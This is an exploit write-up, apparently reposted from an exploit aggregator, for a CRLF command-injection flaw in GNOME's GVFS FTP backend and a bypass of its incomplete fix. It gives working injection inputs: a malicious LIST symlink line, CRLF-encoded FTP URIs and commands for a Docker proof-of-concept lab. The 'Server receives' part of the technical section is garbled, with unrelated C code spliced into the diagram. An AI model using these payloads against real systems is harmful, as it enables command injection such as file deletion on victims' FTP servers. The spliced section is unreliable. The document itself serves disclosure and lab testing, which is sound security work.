Share
## https://sploitus.com/exploit?id=BFEC08C8-165D-5B38-A6AC-05739800943B
# CVE-2026-28296 - GVFS FTP Backend CRLF Command Injection

> **Exploit Intelligence Platform** | [exploit-intel.com](https://exploit-intel.com) | [@exploit_intel](https://x.com/exploit_intel) | dev@exploit-intel.com

## Vulnerability Summary

| Field       | Value                                                |
|-------------|------------------------------------------------------|
| CVE         | CVE-2026-28296                                       |
| Component   | GVFS (GNOME Virtual File System) - FTP backend       |
| Type        | CWE-93: CRLF Injection                               |
| CVSS        | 4.3 (Medium) - initial assessment                    |
| Fix Commit  | `21dda190` (gvfs upstream) - **INCOMPLETE**          |
| Affected    | All GVFS versions including HEAD (1.59.2)            |
| Author      | Exploit Intelligence Platform (dev@exploit-intel.com)|
| Date        | 2026-02-26                                           |

## Vulnerability Details

The FTP backend in GVFS does not validate file paths for carriage return (`\r`)
and line feed (`\n`) characters before embedding them in FTP commands. Since FTP
commands are terminated by `\r\n`, embedded CR/LF characters in paths effectively
inject additional FTP commands that the server processes independently.

### Original Vector (User-Supplied Paths)

When a user or application accesses an FTP URI containing CRLF sequences
(`%0d%0a`) in the path component, those sequences pass through:

1. `g_vfs_ftp_file_new_from_gvfs()` - creates an FTP file object (no validation)
2. `g_vfs_ftp_task_sendv()` - formats the FTP command via `g_string_append_vprintf()`
3. `g_vfs_ftp_connection_send()` - sends the raw bytes to the FTP server

**Example:** Accessing `ftp://server/file\r\nDELE /important` produces:
```
RETR /file\r\n
DELE /important\r\n
```
The server executes both commands.

### Fix (Commit 21dda190) - Incomplete

The fix adds CRLF validation in `g_vfs_ftp_file_new_from_gvfs()`:

```c
if (strpbrk (gvfs_path, "\r\n") != NULL)
  {
    g_set_error_literal (error,
        G_IO_ERROR, G_IO_ERROR_INVALID_FILENAME,
        _("Filename contains invalid characters."));
    return NULL;
  }
```

This blocks direct CRLF injection via user-supplied URIs. However, the fix
**only validates `g_vfs_ftp_file_new_from_gvfs()`** (user-supplied paths).

### Fix Bypass (Server-Supplied Paths)

`g_vfs_ftp_file_new_from_ftp()` (server-supplied paths) has **NO validation**:

```c
// gvfsftpfile.c:112 - NO CR/LF check!
GVfsFtpFile *
g_vfs_ftp_file_new_from_ftp (GVfsBackendFtp *ftp, const char *ftp_path)
{
  file = g_slice_new (GVfsFtpFile);
  file->ftp_path = g_strdup (ftp_path);    // tainted path passes through
  file->gvfs_path = g_vfs_ftp_file_compute_gvfs_path (ftp_path);
  return file;
}
```

**Attack vector:** A malicious FTP server embeds `\r` in symlink targets
returned in LIST responses:

```
lrwxrwxrwx 1 user user 22 Jan  1 00:00 evillink -> /tmp\rSTAT\r
```

When GVFS parses this listing (`gvfsftpdircache.c:660-670`):
1. `g_data_input_stream_read_line()` reads up to `\n`
2. Line 670 strips the trailing `\r` (the one before `\n`)
3. `ParseFTPList` extracts the symlink target: `/tmp\rSTAT` (embedded `\r` survives)
4. `g_vfs_ftp_dir_cache_funcs_resolve_default()` (line 850) calls
   `g_vfs_ftp_file_new_from_ftp(backend, "/tmp\rSTAT")` - **NO validation**
5. When GVFS probes the resolved path: `CWD /tmp\rSTAT\r\n`
6. Server sees two commands: `CWD /tmp` + `STAT`

## Impact Analysis

### Injectable Command Sites

All 11 sites use `g_vfs_ftp_file_get_ftp_path()` to embed the tainted path
into FTP commands via `g_vfs_ftp_task_send()`:

| Location                    | FTP Command | Operation           |
|-----------------------------|-------------|---------------------|
| `gvfsftpdircache.c:512`     | `CWD %s`    | Directory probe     |
| `gvfsftpdircache.c:531`     | `SIZE %s`   | File size query     |
| `gvfsbackendftp.c:674`      | `RETR %s`   | Read file           |
| `gvfsbackendftp.c:746`      | `STOR %s`   | Write file          |
| `gvfsbackendftp.c:777`      | `APPE %s`   | Append file         |
| `gvfsbackendftp.c:830`      | `CWD %s`    | set_display_name    |
| `gvfsbackendftp.c:840`      | `RNFR %s`   | Rename source       |
| `gvfsbackendftp.c:857`      | `RNTO %s`   | Rename target       |
| `gvfsbackendftp.c:894`      | `DELE %s`   | Delete file         |
| `gvfsbackendftp.c:897`      | `RMD %s`    | Remove directory    |
| `gvfsbackendftp.c:929`      | `MKD %s`    | Create directory    |

### Attack Scenarios

1. **Malicious FTP Server**: Attacker operates an FTP server with crafted
   directory listings. When a victim connects (e.g., clicks an `ftp://` link),
   their file manager automatically lists directories and resolves symlinks,
   triggering the injection.

2. **Compromised FTP Server**: Attacker gains write access to a legitimate
   FTP server and creates symlinks with tainted targets. Any GVFS user
   browsing that directory triggers the injection.

3. **MITM Attack**: Attacker intercepts FTP traffic (unencrypted by design)
   and modifies LIST responses to include tainted symlink entries.

### Trigger Conditions

- **No user interaction** beyond connecting to the malicious server
- Triggered automatically by file managers (Nautilus) when browsing directories
- Triggered by `gio list`, `gio info`, or any GVFS operation that lists directories
- Works on both vulnerable (pre-fix) AND patched (post-fix) GVFS versions

### Comparison: Vulnerable vs Patched

| Attack Vector              | Vulnerable (1.54.2) | Patched (HEAD/1.59.2) |
|----------------------------|---------------------|-----------------------|
| Direct CRLF in URI         | VULNERABLE          | **BLOCKED**           |
| Symlink target (from LIST) | VULNERABLE          | **VULNERABLE**        |

## Lab Setup

### Architecture

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”         β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚   ftpserver          β”‚         β”‚   malicious-ftpserverβ”‚
β”‚   172.28.0.10        β”‚         β”‚   172.28.0.11        β”‚
β”‚                      β”‚         β”‚                      β”‚
β”‚ - vsftpd (normal)    β”‚         β”‚ - Custom Python FTP  β”‚
β”‚ - ftpuser/ftpuser    β”‚         β”‚ - Crafted LIST with  β”‚
β”‚ - Port 21 (ext 2121)β”‚         β”‚   tainted symlinks   β”‚
β”‚ - For original PoC   β”‚         β”‚ - Port 21 (ext 2122)β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜         β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
           β”‚                                β”‚
    ───────┼────────────────────────────────┼──── 172.28.0.0/24
           β”‚                                β”‚
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”         β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚   gvfs-client         β”‚         β”‚   gvfs-patched        β”‚
β”‚   172.28.0.20         β”‚         β”‚   172.28.0.21         β”‚
β”‚                       β”‚         β”‚                       β”‚
β”‚ - GVFS 1.54.2         β”‚         β”‚ - GVFS HEAD (1.59.2)  β”‚
β”‚   (pre-fix, bookworm) β”‚         β”‚   (with fix, trixie)  β”‚
β”‚ - Both PoC scripts    β”‚         β”‚ - Both PoC scripts    β”‚
β”‚ - For original PoC    β”‚         β”‚ - For bypass demo     β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜         β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

### Quick Start

```bash
cd CVE-2026-28296

# Build all 4 containers
docker compose build

# Start the lab
docker compose up -d

# === Original PoC (direct CRLF injection) ===
# Works on vulnerable client, blocked on patched client
docker exec -it cve-2026-28296-gvfs-client python3 /poc/poc_crlf_injection.py

# === Fix Bypass PoC (server-supplied symlink targets) ===
# On vulnerable client (both vectors work):
docker exec -it cve-2026-28296-gvfs-client python3 /poc/poc_bypass_fix.py

# On patched client (direct CRLF blocked, symlink bypass works):
docker exec -it cve-2026-28296-gvfs-patched python3 /poc/poc_bypass_fix.py

# Watch malicious server logs (see injected commands arrive):
docker logs -f cve-2026-28296-malicious-ftpserver
```

### Manual Testing

```bash
# From gvfs-client container (vulnerable):

# 1. Normal FTP access via GVFS
dbus-run-session gio cat ftp://ftpuser:ftpuser@ftpserver/home/ftpuser/public/readme.txt

# 2. Direct CRLF injection (original vulnerability)
dbus-run-session gio cat "ftp://ftpuser:ftpuser@ftpserver/home/ftpuser/public/readme.txt%0d%0aSTAT"

# 3. Browse malicious server (triggers symlink resolution bypass)
dbus-run-session gio list ftp://ftpuser:ftpuser@malicious-ftpserver/pub/

# 4. Monitor with tcpdump
tcpdump -i eth0 -A port 21
```

```bash
# From gvfs-patched container:

# 1. Direct CRLF injection is BLOCKED
dbus-run-session gio cat "ftp://ftpuser:ftpuser@ftpserver/home/ftpuser/public/readme.txt%0d%0aSTAT"
# Expected: "Filename contains invalid characters."

# 2. Symlink bypass STILL WORKS
dbus-run-session gio list ftp://ftpuser:ftpuser@malicious-ftpserver/pub/
# Expected: GVFS resolves the symlink with tainted target, injecting commands
```

### Cleanup

```bash
docker compose down -v
```

## Technical Details

### Code Flow: Symlink Resolution Bypass

```
User: gio list ftp://malicious-ftpserver/pub/
  β”‚
  β–Ό
g_vfs_ftp_dir_cache_lookup_dir()
  β”‚   Opens data connection, sends LIST /pub/
  β”‚
  β–Ό
Malicious server responds with LIST data:
  -rw-r--r-- 1 user user   22 Jan  1 00:00 readme.txt\r\n
  lrwxrwxrwx 1 user user   22 Jan  1 00:00 evillink -> /tmp\rSTAT\r\n
  β”‚
  β–Ό
g_vfs_ftp_dir_cache_funcs_process() (gvfsftpdircache.c:660-790)
  β”‚   g_data_input_stream_read_line() reads until \n
  β”‚   Strips trailing \r (line 670)
  β”‚   ParseFTPList extracts: type='l', target="/tmp\rSTAT"
  β”‚   g_file_info_set_symlink_target(info, "/tmp\rSTAT")
  β”‚
  β–Ό
g_vfs_ftp_dir_cache_funcs_resolve_default() (gvfsftpdircache.c:798-853)
  β”‚   target = "/tmp\rSTAT"
  β”‚   target[0] == '/' -> new_path = g_string_new(target)
  β”‚   link = g_vfs_ftp_file_new_from_ftp(backend, "/tmp\rSTAT")
  β”‚                                       ^^^ NO CR/LF VALIDATION
  β”‚
  β–Ό
Later: g_vfs_ftp_dir_cache_lookup_file() (gvfsftpdircache.c:500-548)
  β”‚   g_vfs_ftp_task_send(task, 0, "CWD %s", file->ftp_path)
  β”‚   -> g_vfs_ftp_task_sendv() builds: "CWD /tmp\rSTAT\r\n"
  β”‚   -> g_vfs_ftp_connection_send() writes raw bytes to socket
  β”‚
  β–Ό
Server receives:
  "CWD /tmp\r"     ftp_path = g_strdup (ftp_path);
  file->gvfs_path = g_vfs_ftp_file_compute_gvfs_path (ftp_path);
  return file;
}
```

Additionally, `g_vfs_ftp_dir_cache_funcs_resolve_default()` at line 850
should handle a NULL return from `g_vfs_ftp_file_new_from_ftp()`.

## Files

| File | Description |
|---|---|
| `poc/poc_crlf_injection.py` | Original PoC - direct CRLF injection via URI |
| `poc/poc_bypass_fix.py` | Fix bypass PoC - server-supplied symlink targets |
| `malicious_ftpserver.py` | Custom FTP server with crafted LIST responses |
| `Dockerfile.ftpserver` | vsftpd container (normal FTP server) |
| `Dockerfile.malicious-ftpserver` | Malicious FTP server container |
| `Dockerfile.gvfs-client` | Vulnerable GVFS 1.54.2 (bookworm) |
| `Dockerfile.gvfs-patched` | Patched GVFS HEAD/1.59.2 (trixie) |
| `docker-compose.yml` | Full lab with 4 containers |

## References

- [GVFS upstream issue #833](https://gitlab.gnome.org/GNOME/gvfs/-/issues/833)
- [Fix commit 21dda190](https://gitlab.gnome.org/GNOME/gvfs/-/commit/21dda190) (incomplete)
- [Fix MR !298](https://gitlab.gnome.org/GNOME/gvfs/-/merge_requests/298)
- [GVFS source - gvfsftpfile.c](https://gitlab.gnome.org/GNOME/gvfs/-/blob/master/daemon/gvfsftpfile.c)
- [GVFS source - gvfsftpdircache.c](https://gitlab.gnome.org/GNOME/gvfs/-/blob/master/daemon/gvfsftpdircache.c)
- [CVE-2026-28296 on Exploit Intelligence Platform](https://exploit-intel.com/cves/CVE-2026-28296)